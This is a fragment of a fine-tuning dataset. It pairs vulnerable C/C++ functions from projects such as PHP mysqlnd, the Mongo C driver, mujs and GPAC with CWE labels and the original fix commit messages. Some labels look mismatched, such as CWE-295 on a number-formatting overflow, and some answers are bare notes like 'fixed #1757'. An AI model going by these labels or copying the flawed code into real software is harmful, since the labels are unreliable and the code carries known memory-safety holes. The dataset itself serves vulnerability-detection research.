+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: enum_func_status\nphp_mysqlnd_rowp_read_text_protocol_aux(MYSQLND_MEMORY_POOL_CHUNK * row_buffer, zval ** fields,\n\t\t\t\t\t\t\t\t\tunsigned int field_count, const MYSQLND_FIELD * fields_metadata,\n\t\t\t\t\t\t\t\t\tzend_bool as_int_or_float, zend_bool copy_data, MYSQLND_STATS * stats TSRMLS_DC)\n{\n\t\n\tunsigned int i;\n\tzend_bool last_field_was_string = FALSE;\n\tzval **current_field, **end_field, **start_field;\n\tzend_uchar * p = row_buffer->ptr;\n\tsize_t data_size = row_buffer->app;\n\tzend_uchar * bit_area = (zend_uchar*) row_buffer->ptr + data_size + 1; /* we allocate from here */\n\n\tDBG_ENTER(\"php_mysqlnd_rowp_read_text_protocol_aux\");\n\n\tif (!fields) {\n\t\tDBG_RETURN(FAIL);\n\t}\n\n\tend_field = (start_field = fields) + field_count;\n\n\tfor (i = 0, current_field = start_field; current_field < end_field; current_field++, i++) {\n\t\tDBG_INF(\"Directly creating zval\");\n\t\tMAKE_STD_ZVAL(*current_field);\n\t\tif (!*current_field) {\n\t\t\tDBG_RETURN(FAIL);\n\t\t}\n\t}\n\n\tfor (i = 0, current_field = start_field; current_field < end_field; current_field++, i++) {\n\t\t/* Don't reverse the order. It is significant!*/\n\t\tzend_uchar *this_field_len_pos = p;\n\t\t/* php_mysqlnd_net_field_length() call should be after *this_field_len_pos = p; */\n\t\tunsigned long len = php_mysqlnd_net_field_length(&p);\n\n\t\tif (copy_data == FALSE && current_field > start_field && last_field_was_string) {\n\t\t\t/*\n\t\t\t  Normal queries:\n\t\t\t  We have to put \\0 now to the end of the previous field, if it was\n\t\t\t  a string. IS_NULL doesn't matter. Because we have already read our\n\t\t\t  length, then we can overwrite it in the row buffer.\n\t\t\t  This statement terminates the previous field, not the current one.\n\n\t\t\t  NULL_LENGTH is encoded in one byte, so we can stick a \\0 there.\n\t\t\t  Any string's length is encoded in at least one byte, so we can stick\n\t\t\t  a \\0 there.\n\t\t\t*/\n\n\t\t\t*this_field_len_pos = '\\0';\n\t\t}\n\n\t\t/* NULL or NOT NULL, this is the question! */\n\t\tif (len == MYSQLND_NULL_LENGTH) {\n\t\t\tZVAL_NULL(*current_field);\n\t\t\tlast_field_was_string = FALSE;\n\t\t} else {\n#if defined(MYSQLND_STRING_TO_INT_CONVERSION)\n\t\t\tstruct st_mysqlnd_perm_bind perm_bind =\n\t\t\t\t\tmysqlnd_ps_fetch_functions[fields_metadata[i].type];\n#endif\n\t\t\tif (MYSQLND_G(collect_statistics)) {\n\t\t\t\tenum_mysqlnd_collected_stats statistic;\n\t\t\t\tswitch (fields_metadata[i].type) {\n\t\t\t\t\tcase MYSQL_TYPE_DECIMAL:\tstatistic = STAT_TEXT_TYPE_FETCHED_DECIMAL; break;\n\t\t\t\t\tcase MYSQL_TYPE_TINY:\t\tstatistic = STAT_TEXT_TYPE_FETCHED_INT8; break;\n\t\t\t\t\tcase MYSQL_TYPE_SHORT:\t\tstatistic = STAT_TEXT_TYPE_FETCHED_INT16; break;\n\t\t\t\t\tcase MYSQL_TYPE_LONG:\t\tstatistic = STAT_TEXT_TYPE_FETCHED_INT32; break;\n\t\t\t\t\tcase MYSQL_TYPE_FLOAT:\t\tstatistic = STAT_TEXT_TYPE_FETCHED_FLOAT; break;\n\t\t\t\t\tcase MYSQL_TYPE_DOUBLE:\t\tstatistic = STAT_TEXT_TYPE_FETCHED_DOUBLE; break;\n\t\t\t\t\tcase MYSQL_TYPE_NULL:\t\tstatistic = STAT_TEXT_TYPE_FETCHED_NULL; break;\n\t\t\t\t\tcase MYSQL_TYPE_TIMESTAMP:\tstatistic = STAT_TEXT_TYPE_FETCHED_TIMESTAMP; break;\n\t\t\t\t\tcase MYSQL_TYPE_LONGLONG:\tstatistic = STAT_TEXT_TYPE_FETCHED_INT64; break;\n\t\t\t\t\tcase MYSQL_TYPE_INT24:\t\tstatistic = STAT_TEXT_TYPE_FETCHED_INT24; break;\n\t\t\t\t\tcase MYSQL_TYPE_DATE:\t\tstatistic = STAT_TEXT_TYPE_FETCHED_DATE; break;\n\t\t\t\t\tcase MYSQL_TYPE_TIME:\t\tstatistic = STAT_TEXT_TYPE_FETCHED_TIME; break;\n\t\t\t\t\tcase MYSQL_TYPE_DATETIME:\tstatistic = STAT_TEXT_TYPE_FETCHED_DATETIME; break;\n\t\t\t\t\tcase MYSQL_TYPE_YEAR:\t\tstatistic = STAT_TEXT_TYPE_FETCHED_YEAR; break;\n\t\t\t\t\tcase MYSQL_TYPE_NEWDATE:\tstatistic = STAT_TEXT_TYPE_FETCHED_DATE; break;\n\t\t\t\t\tcase MYSQL_TYPE_VARCHAR:\tstatistic = STAT_TEXT_TYPE_FETCHED_STRING; break;\n\t\t\t\t\tcase MYSQL_TYPE_BIT:\t\tstatistic = STAT_TEXT_TYPE_FETCHED_BIT; break;\n\t\t\t\t\tcase MYSQL_TYPE_NEWDECIMAL:\tstatistic = STAT_TEXT_TYPE_FETCHED_DECIMAL; break;\n\t\t\t\t\tcase MYSQL_TYPE_ENUM:\t\tstatistic = STAT_TEXT_TYPE_FETCHED_ENUM; break;\n\t\t\t\t\tcase MYSQL_TYPE_SET:\t\tstatistic = STAT_TEXT_TYPE_FETCHED_SET; break;\n\t\t\t\t\tcase MYSQL_TYPE_JSON:\t\tstatistic = STAT_TEXT_TYPE_FETCHED_JSON; break;\n\t\t\t\t\tcase MYSQL_TYPE_TINY_BLOB:\tstatistic = STAT_TEXT_TYPE_FETCHED_BLOB; break;\n\t\t\t\t\tcase MYSQL_TYPE_MEDIUM_BLOB:statistic = STAT_TEXT_TYPE_FETCHED_BLOB; break;\n\t\t\t\t\tcase MYSQL_TYPE_LONG_BLOB:\tstatistic = STAT_TEXT_TYPE_FETCHED_BLOB; break;\n\t\t\t\t\tcase MYSQL_TYPE_BLOB:\t\tstatistic = STAT_TEXT_TYPE_FETCHED_BLOB; break;\n\t\t\t\t\tcase MYSQL_TYPE_VAR_STRING:\tstatistic = STAT_TEXT_TYPE_FETCHED_STRING; break;\n\t\t\t\t\tcase MYSQL_TYPE_STRING:\t\tstatistic = STAT_TEXT_TYPE_FETCHED_STRING; break;\n\t\t\t\t\tcase MYSQL_TYPE_GEOMETRY:\tstatistic = STAT_TEXT_TYPE_FETCHED_GEOMETRY; break;\n\t\t\t\t\tdefault: statistic = STAT_TEXT_TYPE_FETCHED_OTHER; break;\n\t\t\t\t}\n\t\t\t\tMYSQLND_INC_CONN_STATISTIC_W_VALUE2(stats, statistic, 1, STAT_BYTES_RECEIVED_PURE_DATA_TEXT, len);\n\t\t\t}\n#ifdef MYSQLND_STRING_TO_INT_CONVERSION\n\t\t\tif (as_int_or_float && perm_bind.php_type == IS_LONG) {\n\t\t\t\tzend_uchar save = *(p + len);\n\t\t\t\t/* We have to make it ASCIIZ temporarily */\n\t\t\t\t*(p + len) = '\\0';\n\t\t\t\tif (perm_bind.pack_len < SIZEOF_LONG) {\n\t\t\t\t\t/* direct conversion */\n\t\t\t\t\tint64_t v =\n#ifndef PHP_WIN32\n\t\t\t\t\t\tatoll((char *) p);\n#else\n\t\t\t\t\t\t_atoi64((char *) p);\n#endif\n\t\t\t\t\tZVAL_LONG(*current_field, (long) v); /* the cast is safe */\n\t\t\t\t} else {\n\t\t\t\t\tuint64_t v =\n#ifndef PHP_WIN32\n\t\t\t\t\t\t(uint64_t) atoll((char *) p);\n#else\n\t\t\t\t\t\t(uint64_t) _atoi64((char *) p);\n#endif\n\t\t\t\t\tzend_bool uns = fields_metadata[i].flags & UNSIGNED_FLAG? TRUE:FALSE;\n\t\t\t\t\t/* We have to make it ASCIIZ temporarily */\n#if SIZEOF_LONG==8\n\t\t\t\t\tif (uns == TRUE && v > 9223372036854775807L)\n#elif SIZEOF_LONG==4\n\t\t\t\t\tif ((uns == TRUE && v > L64(2147483647)) ||\n\t\t\t\t\t\t(uns == FALSE && (( L64(2147483647) < (int64_t) v) ||\n\t\t\t\t\t\t(L64(-2147483648) > (int64_t) v))))\n#else\n#error Need fix for this architecture\n#endif /* SIZEOF */\n\t\t\t\t\t{\n\t\t\t\t\t\tZVAL_STRINGL(*current_field, (char *)p, len, 0);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tZVAL_LONG(*current_field, (long) v); /* the cast is safe */\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t*(p + len) = save;\n\t\t\t} else if (as_int_or_float && perm_bind.php_type == IS_DOUBLE) {\n\t\t\t\tzend_uchar save = *(p + len);\n\t\t\t\t/* We have to make it ASCIIZ temporarily */\n\t\t\t\t*(p + len) = '\\0';\n\t\t\t\tZVAL_DOUBLE(*current_field, atof((char *) p));\n\t\t\t\t*(p + len) = save;\n\t\t\t} else\n#endif /* MYSQLND_STRING_TO_INT_CONVERSION */\n\t\t\tif (fields_metadata[i].type == MYSQL_TYPE_BIT) {\n\t\t\t\t/*\n\t\t\t\t  BIT fields are specially handled. As they come as bit mask, we have\n\t\t\t\t  to convert it to human-readable representation. As the bits take\n\t\t\t\t  less space in the protocol than the numbers they represent, we don't\n\t\t\t\t  have enough space in the packet buffer to overwrite inside.\n\t\t\t\t  Thus, a bit more space is pre-allocated at the end of the buffer,\n\t\t\t\t  see php_mysqlnd_rowp_read(). And we add the strings at the end.\n\t\t\t\t  Definitely not nice, _hackish_ :(, but works.\n\t\t\t\t*/\n\t\t\t\tzend_uchar *start = bit_area;\n\t\t\t\tps_fetch_from_1_to_8_bytes(*current_field, &(fields_metadata[i]), 0, &p, len TSRMLS_CC);\n\t\t\t\t/*\n\t\t\t\t  We have advanced in ps_fetch_from_1_to_8_bytes. We should go back because\n\t\t\t\t  later in this function there will be an advancement.\n\t\t\t\t*/\n\t\t\t\tp -= len;\n\t\t\t\tif (Z_TYPE_PP(current_field) == IS_LONG) {\n\t\t\t\t\tbit_area += 1 + sprintf((char *)start, \"%ld\", Z_LVAL_PP(current_field));\n\t\t\t\t\tZVAL_STRINGL(*current_field, (char *) start, bit_area - start - 1, copy_data);\n\t\t\t\t} else if (Z_TYPE_PP(current_field) == IS_STRING){\n\t\t\t\t\tmemcpy(bit_area, Z_STRVAL_PP(current_field), Z_STRLEN_PP(current_field));\n\t\t\t\t\tbit_area += Z_STRLEN_PP(current_field);\n\t\t\t\t\t*bit_area++ = '\\0';\n\t\t\t\t\tzval_dtor(*current_field);\n\t\t\t\t\tZVAL_STRINGL(*current_field, (char *) start, bit_area - start - 1, copy_data);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tZVAL_STRINGL(*current_field, (char *)p, len, copy_data);\n\t\t\t}\n\t\t\tp += len;\n\t\t\tlast_field_was_string = TRUE;\n\t\t}\n\t}\n\tif (copy_data == FALSE && last_field_was_string) {\n\t\t/* Normal queries: The buffer has one more byte at the end, because we need it */\n\t\trow_buffer->ptr[data_size] = '\\0';\n\t}\n\n\tDBG_RETURN(PASS); ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': 'Fix bug #72293 - Heap overflow in mysqlnd related to BIT fields'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static ssize_t aio_setup_single_vector(struct kiocb *kiocb)\n{\n\tkiocb->ki_iovec = &kiocb->ki_inline_vec;\n\tkiocb->ki_iovec->iov_base = kiocb->ki_buf;\n\tkiocb->ki_iovec->iov_len = kiocb->ki_left;\n\tkiocb->ki_nr_segs = 1;\n\tkiocb->ki_cur_seg = 0;\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-200'], 'message': 'vfs: make AIO use the proper rw_verify_area() area helpers\n\nWe had for some reason overlooked the AIO interface, and it didn't use\nthe proper rw_verify_area() helper function that checks (for example)\nmandatory locking on the file, and that the size of the access doesn't\ncause us to overflow the provided offset limits etc.\n\nInstead, AIO did just the security_file_permission() thing (that\nrw_verify_area() also does) directly.\n\nThis fixes it to do all the proper helper functions, which not only\nmeans that now mandatory file locking works with AIO too, we can\nactually remove lines of code.\n\nReported-by: Manish Honap \nCc: stable@vger.kernel.org\nSigned-off-by: Linus Torvalds '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: char* _multi_string_alloc_and_copy( LPCWSTR in )\n{\n    char *chr;\n    int len = 0;\n\n    if ( !in )\n    {\n        return in;\n    }\n\n    while ( in[ len ] != 0 || in[ len + 1 ] != 0 )\n    {\n        len ++;\n    }\n\n    chr = malloc( len + 2 );\n\n    len = 0;\n    while ( in[ len ] != 0 || in[ len + 1 ] != 0 )\n    {\n        chr[ len ] = 0xFF & in[ len ];\n        len ++;\n    }\n    chr[ len ++ ] = '\\0';\n    chr[ len ++ ] = '\\0';\n\n    return chr;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-119', 'CWE-369'], 'message': 'New Pre Source'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: \nGF_Err trak_box_size(GF_Box *s)\n{\n\tu32 pos=0;\n\tGF_TrackBox *ptr = (GF_TrackBox *)s;\n\n\tif (ptr->sample_encryption && ptr->sample_encryption->load_needed) {\n\t\tGF_Err e = senc_Parse(ptr->moov->mov->movieFileMap->bs, ptr, NULL, ptr->sample_encryption);\n\t\tif (e) return e;\n\t}\n\n\tgf_isom_check_position(s, (GF_Box *)ptr->Header, &pos);\n\tgf_isom_check_position(s, (GF_Box *)ptr->Aperture, &pos);\n\tgf_isom_check_position(s, (GF_Box *)ptr->References, &pos);\n\tgf_isom_check_position(s, (GF_Box *)ptr->editBox, &pos);\n\tgf_isom_check_position(s, (GF_Box *)ptr->Media, &pos);\n\tgf_isom_check_position(s, (GF_Box *)ptr->meta, &pos);\n\tgf_isom_check_position(s, (GF_Box *)ptr->groups, &pos);\n\tgf_isom_check_position(s, (GF_Box *)ptr->udta, &pos);\n\treturn GF_OK; ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-476', 'CWE-787'], 'message': 'fixed #1757'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: MONGO_EXPORT int bson_append_element( bson *b, const char *name_or_null, const bson_iterator *elem ) {\n    bson_iterator next = *elem;\n    int size;\n\n    bson_iterator_next( &next );\n    size = next.cur - elem->cur;\n\n    if ( name_or_null == NULL ) {\n        if( bson_ensure_space( b, size ) == BSON_ERROR )\n            return BSON_ERROR;\n        bson_append( b, elem->cur, size );\n    }\n    else {\n        int data_size = size - 2 - strlen( bson_iterator_key( elem ) );\n        bson_append_estart( b, elem->cur[0], name_or_null, data_size );\n        bson_append( b, bson_iterator_value( elem ), data_size );\n    }\n\n    return BSON_OK;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-190'], 'message': 'don't mix up int and size_t (first pass to fix that)'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: MONGO_EXPORT int bson_append_binary( bson *b, const char *name, char type, const char *str, int len ) {\n    if ( type == BSON_BIN_BINARY_OLD ) {\n        int subtwolen = len + 4;\n        if ( bson_append_estart( b, BSON_BINDATA, name, 4+1+4+len ) == BSON_ERROR )\n            return BSON_ERROR;\n        bson_append32( b, &subtwolen );\n        bson_append_byte( b, type );\n        bson_append32( b, &len );\n        bson_append( b, str, len );\n    }\n    else {\n        if ( bson_append_estart( b, BSON_BINDATA, name, 4+1+len ) == BSON_ERROR )\n            return BSON_ERROR;\n        bson_append32( b, &len );\n        bson_append_byte( b, type );\n        bson_append( b, str, len );\n    }\n    return BSON_OK;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-190'], 'message': 'don't mix up int and size_t (first pass to fix that)'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: MONGO_EXPORT int mongo_run_command( mongo *conn, const char *db, const bson *command,\n                                    bson *out ) {\n    int ret = MONGO_OK;\n    bson response = {NULL, 0};\n    bson fields;\n    int sl = strlen( db );\n    char *ns = bson_malloc( sl + 5 + 1 ); /* \".$cmd\" + nul */\n    int res, success = 0;\n\n    strcpy( ns, db );\n    strcpy( ns+sl, \".$cmd\" );\n\n    res = mongo_find_one( conn, ns, command, bson_empty( &fields ), &response );\n    bson_free( ns );\n\n    if( res != MONGO_OK )\n        ret = MONGO_ERROR;\n    else {\n        bson_iterator it;\n        if( bson_find( &it, &response, \"ok\" ) )\n            success = bson_iterator_bool( &it );\n\n        if( !success ) {\n            conn->err = MONGO_COMMAND_FAILED;\n            bson_destroy( &response );\n            ret = MONGO_ERROR;\n        }\n        else {\n            if( out )\n                *out = response;\n            else\n                bson_destroy( &response );\n        }\n    }\n    return ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-190'], 'message': 'don't mix up int and size_t (first pass to fix that)'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: MONGO_EXPORT void gridfile_write_buffer( gridfile *gfile, const char *data,\n        gridfs_offset length ) {\n\n    int bytes_left = 0;\n    int data_partial_len = 0;\n    int chunks_to_write = 0;\n    char *buffer;\n    bson *oChunk;\n    gridfs_offset to_write = length + gfile->pending_len;\n\n    if ( to_write < DEFAULT_CHUNK_SIZE ) { /* Less than one chunk to write */\n        if( gfile->pending_data ) {\n            gfile->pending_data = ( char * )bson_realloc( ( void * )gfile->pending_data, gfile->pending_len + to_write );\n            memcpy( gfile->pending_data + gfile->pending_len, data, length );\n        }\n        else if ( to_write > 0 ) {\n            gfile->pending_data = ( char * )bson_malloc( to_write );\n            memcpy( gfile->pending_data, data, length );\n        }\n        gfile->pending_len += length;\n\n    }\n    else {   /* At least one chunk of data to write */\n        chunks_to_write = to_write / DEFAULT_CHUNK_SIZE;\n        bytes_left = to_write % DEFAULT_CHUNK_SIZE;\n\n        /* If there's a pending chunk to be written, we need to combine\n         * the buffer provided up to DEFAULT_CHUNK_SIZE.\n         */\n        if ( gfile->pending_len > 0 ) {\n            data_partial_len = DEFAULT_CHUNK_SIZE - gfile->pending_len;\n            buffer = ( char * )bson_malloc( DEFAULT_CHUNK_SIZE );\n            memcpy( buffer, gfile->pending_data, gfile->pending_len );\n            memcpy( buffer + gfile->pending_len, data, data_partial_len );\n\n            oChunk = chunk_new( gfile->id, gfile->chunk_num, buffer, DEFAULT_CHUNK_SIZE );\n            mongo_insert( gfile->gfs->client, gfile->gfs->chunks_ns, oChunk, NULL );\n            chunk_free( oChunk );\n            gfile->chunk_num++;\n            gfile->length += DEFAULT_CHUNK_SIZE;\n            data += data_partial_len;\n\n            chunks_to_write--;\n\n            bson_free( buffer );\n        }\n\n        while( chunks_to_write > 0 ) {\n            oChunk = chunk_new( gfile->id, gfile->chunk_num, data, DEFAULT_CHUNK_SIZE );\n            mongo_insert( gfile->gfs->client, gfile->gfs->chunks_ns, oChunk, NULL );\n            chunk_free( oChunk );\n            gfile->chunk_num++;\n            chunks_to_write--;\n            gfile->length += DEFAULT_CHUNK_SIZE;\n            data += DEFAULT_CHUNK_SIZE;\n        }\n\n        bson_free( gfile->pending_data );\n\n        /* If there are any leftover bytes, store them as pending data. */\n        if( bytes_left == 0 )\n            gfile->pending_data = NULL;\n        else {\n            gfile->pending_data = ( char * )bson_malloc( bytes_left );\n            memcpy( gfile->pending_data, data, bytes_left );\n        }\n\n        gfile->pending_len = bytes_left;\n    }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-190'], 'message': 'don't mix up int and size_t (first pass to fix that)'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static void Np_toString(js_State *J)\n{\n\tchar buf[32];\n\tjs_Object *self = js_toobject(J, 0);\n\tint radix = js_isundefined(J, 1) ? 10 : js_tointeger(J, 1);\n\tif (self->type != JS_CNUMBER)\n\t\tjs_typeerror(J, \"not a number\");\n\tif (radix == 10) {\n\t\tjs_pushstring(J, jsV_numbertostring(J, buf, self->u.number));\n\t\treturn;\n\t}\n\tif (radix < 2 || radix > 36)\n\t\tjs_rangeerror(J, \"invalid radix\");\n\n\t/* lame number to string conversion for any radix from 2 to 36 */\n\t{\n\t\tstatic const char digits[] = \"0123456789abcdefghijklmnopqrstuvwxyz\";\n\t\tchar buf[100];\n\t\tdouble number = self->u.number;\n\t\tint sign = self->u.number < 0;\n\t\tjs_Buffer *sb = NULL;\n\t\tuint64_t u, limit = ((uint64_t)1<<52);\n\n\t\tint ndigits, exp, point;\n\n\t\tif (number == 0) { js_pushstring(J, \"0\"); return; }\n\t\tif (isnan(number)) { js_pushstring(J, \"NaN\"); return; }\n\t\tif (isinf(number)) { js_pushstring(J, sign ? \"-Infinity\" : \"Infinity\"); return; }\n\n\t\tif (sign)\n\t\t\tnumber = -number;\n\n\t\t/* fit as many digits as we want in an int */\n\t\texp = 0;\n\t\twhile (number * pow(radix, exp) > limit)\n\t\t\t--exp;\n\t\twhile (number * pow(radix, exp+1) < limit)\n\t\t\t++exp;\n\t\tu = number * pow(radix, exp) + 0.5;\n\n\t\t/* trim trailing zeros */\n\t\twhile (u > 0 && (u % radix) == 0) {\n\t\t\tu /= radix;\n\t\t\t--exp;\n\t\t}\n\n\t\t/* serialize digits */\n\t\tndigits = 0;\n\t\twhile (u > 0) {\n\t\t\tbuf[ndigits++] = digits[u % radix];\n\t\t\tu /= radix;\n\t\t}\n\t\tpoint = ndigits - exp;\n\n\t\tif (js_try(J)) {\n\t\t\tjs_free(J, sb);\n\t\t\tjs_throw(J);\n\t\t}\n\n\t\tif (sign)\n\t\t\tjs_putc(J, &sb, '-');\n\n\t\tif (point <= 0) {\n\t\t\tjs_putc(J, &sb, '0');\n\t\t\tjs_putc(J, &sb, '.');\n\t\t\twhile (point++ < 0)\n\t\t\t\tjs_putc(J, &sb, '0');\n\t\t\twhile (ndigits-- > 0)\n\t\t\t\tjs_putc(J, &sb, buf[ndigits]);\n\t\t} else {\n\t\t\twhile (ndigits-- > 0) {\n\t\t\t\tjs_putc(J, &sb, buf[ndigits]);\n\t\t\t\tif (--point == 0 && ndigits > 0)\n\t\t\t\t\tjs_putc(J, &sb, '.');\n\t\t\t}\n\t\t\twhile (point-- > 0)\n\t\t\t\tjs_putc(J, &sb, '0');\n\t\t}\n\n\t\tjs_putc(J, &sb, 0);\n\t\tjs_pushstring(J, sb->s);\n\n\t\tjs_endtry(J);\n\t\tjs_free(J, sb);\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-119', 'CWE-295', 'CWE-787'], 'message': 'Bug 700938: Fix stack overflow in numtostr as used by Number#toFixed().\n\n32 is not enough to fit sprintf(\"%.20f\", 1e20).\nWe need at least 43 bytes to fit that format.\nBump the static buffer size.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code:   void operator()(const CPUDevice& d, typename TTypes::ConstTensor input,\n                  typename TTypes::ConstTensor filter,\n                  typename TTypes::ConstTensor out_backprop,\n                  int stride_rows, int stride_cols, int rate_rows,\n                  int rate_cols, int pad_top, int pad_left,\n                  typename TTypes::Tensor filter_backprop) {\n    const int batch = input.dimension(0);\n    const int input_rows = input.dimension(1);\n    const int input_cols = input.dimension(2);\n    const int depth = input.dimension(3);\n\n    const int filter_rows = filter.dimension(0);\n    const int filter_cols = filter.dimension(1);\n\n    const int output_rows = out_backprop.dimension(1);\n    const int output_cols = out_backprop.dimension(2);\n\n    // Initialize gradient with all zeros.\n    filter_backprop.setZero();\n\n    // This is a reference implementation, likely to be slow.\n    // TODO(gpapan): Write multi-threaded implementation.\n    // In the case of multiple argmax branches, we only back-propagate along the\n    // last branch, i.e., the one with largest value of `h * filter_cols + w`,\n    // similarly to the max-pooling backward routines.\n    for (int b = 0; b < batch; ++b) {\n      for (int h_out = 0; h_out < output_rows; ++h_out) {\n        int h_beg = h_out * stride_rows - pad_top;\n        for (int w_out = 0; w_out < output_cols; ++w_out) {\n          int w_beg = w_out * stride_cols - pad_left;\n          for (int d = 0; d < depth; ++d) {\n            T cur_val = Eigen::NumTraits::lowest();\n            int h_max = 0;\n            int w_max = 0;\n            for (int h = 0; h < filter_rows; ++h) {\n              const int h_in = h_beg + h * rate_rows;\n              if (h_in >= 0 && h_in < input_rows) {\n                for (int w = 0; w < filter_cols; ++w) {\n                  const int w_in = w_beg + w * rate_cols;\n                  if (w_in >= 0 && w_in < input_cols) {\n                    const T val = input(b, h_in, w_in, d) + filter(h, w, d);\n                    if (val > cur_val) {\n                      cur_val = val;\n                      h_max = h;\n                      w_max = w;\n                    }\n                  }\n                }\n              }\n            }\n            filter_backprop(h_max, w_max, d) +=\n                out_backprop(b, h_out, w_out, d);\n          }\n        }\n      }\n    }\n  } ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'Add missing validations in dillation ops.\n\nPiperOrigin-RevId: 372037158\nChange-Id: I4ee304c84a02550c030288a6534000b934fc1599'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: \nstatic JSValue js_sys_basecode_ex(JSContext *ctx, JSValueConst this_val, int argc, JSValueConst *argv, Bool is_dec, Bool is_16)\n{\n\tu32 out_size=0;\n\tu8 *out_ptr = NULL;\n\tJSValue res;\n\tGF_Err e;\n\tif (!argc) return GF_JS_EXCEPTION(ctx);\n\n\tif (is_dec) {\n\t\tu32 len;\n\t\tconst char *str = JS_ToCString(ctx, argv[0]);\n\t\tif (!str) return GF_JS_EXCEPTION(ctx);\n\t\tlen = (u32) strlen(str);\n\t\tout_ptr = gf_malloc(sizeof(u8) * len);\n\t\tif (!out_ptr) {\n\t\t\te = GF_OUT_OF_MEM;\n\t\t} else if (is_16) {\n\t\t\tout_size = gf_base16_decode((u8*) str, (u32) len, out_ptr, len);\n\t\t\te = out_size ? GF_OK : GF_NON_COMPLIANT_BITSTREAM;\n\t\t} else {\n\t\t\tout_size = gf_base64_decode((u8*) str, (u32) len, out_ptr, len);\n\t\t\te = out_size ? GF_OK : GF_NON_COMPLIANT_BITSTREAM;\n\t\t}\n\t\tJS_FreeCString(ctx, str);\n\t} else {\n\t\tconst u8 *data;\n\t\tsize_t data_size;\n\t\tdata = JS_GetArrayBuffer(ctx, &data_size, argv[0] );\n\t\tif (!data) return GF_JS_EXCEPTION(ctx);\n\t\tout_ptr = gf_malloc(sizeof(u8) * (1 + data_size * 2) );\n\t\tif (!out_ptr) {\n\t\t\te = GF_OUT_OF_MEM;\n\t\t} else if (is_16) {\n\t\t\tout_size = gf_base16_encode((u8*) data, (u32) data_size, out_ptr, 1 + (u32) data_size * 2);\n\t\t\te = out_size ? GF_OK : GF_NON_COMPLIANT_BITSTREAM;\n\t\t} else {\n\t\t\tout_size = gf_base64_encode((u8*) data, (u32) data_size, out_ptr, 1 + (u32) data_size * 2);\n\t\t\te = out_size ? GF_OK : GF_NON_COMPLIANT_BITSTREAM;\n\t\t}\n\t}\n\n\tif (e) return js_throw_err(ctx, e);\n\tif (is_dec) {\n\t\tres = JS_NewArrayBuffer(ctx, out_ptr, out_size, js_gpac_free, NULL, 0);\n\t} else {\n\t\tout_ptr[out_size] = 0;\n\t\tres = JS_NewString(ctx, out_ptr);\n\t\tgf_free(out_ptr);\n\t}\n\treturn res; ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'fixed #2138'"
+  },
+  {
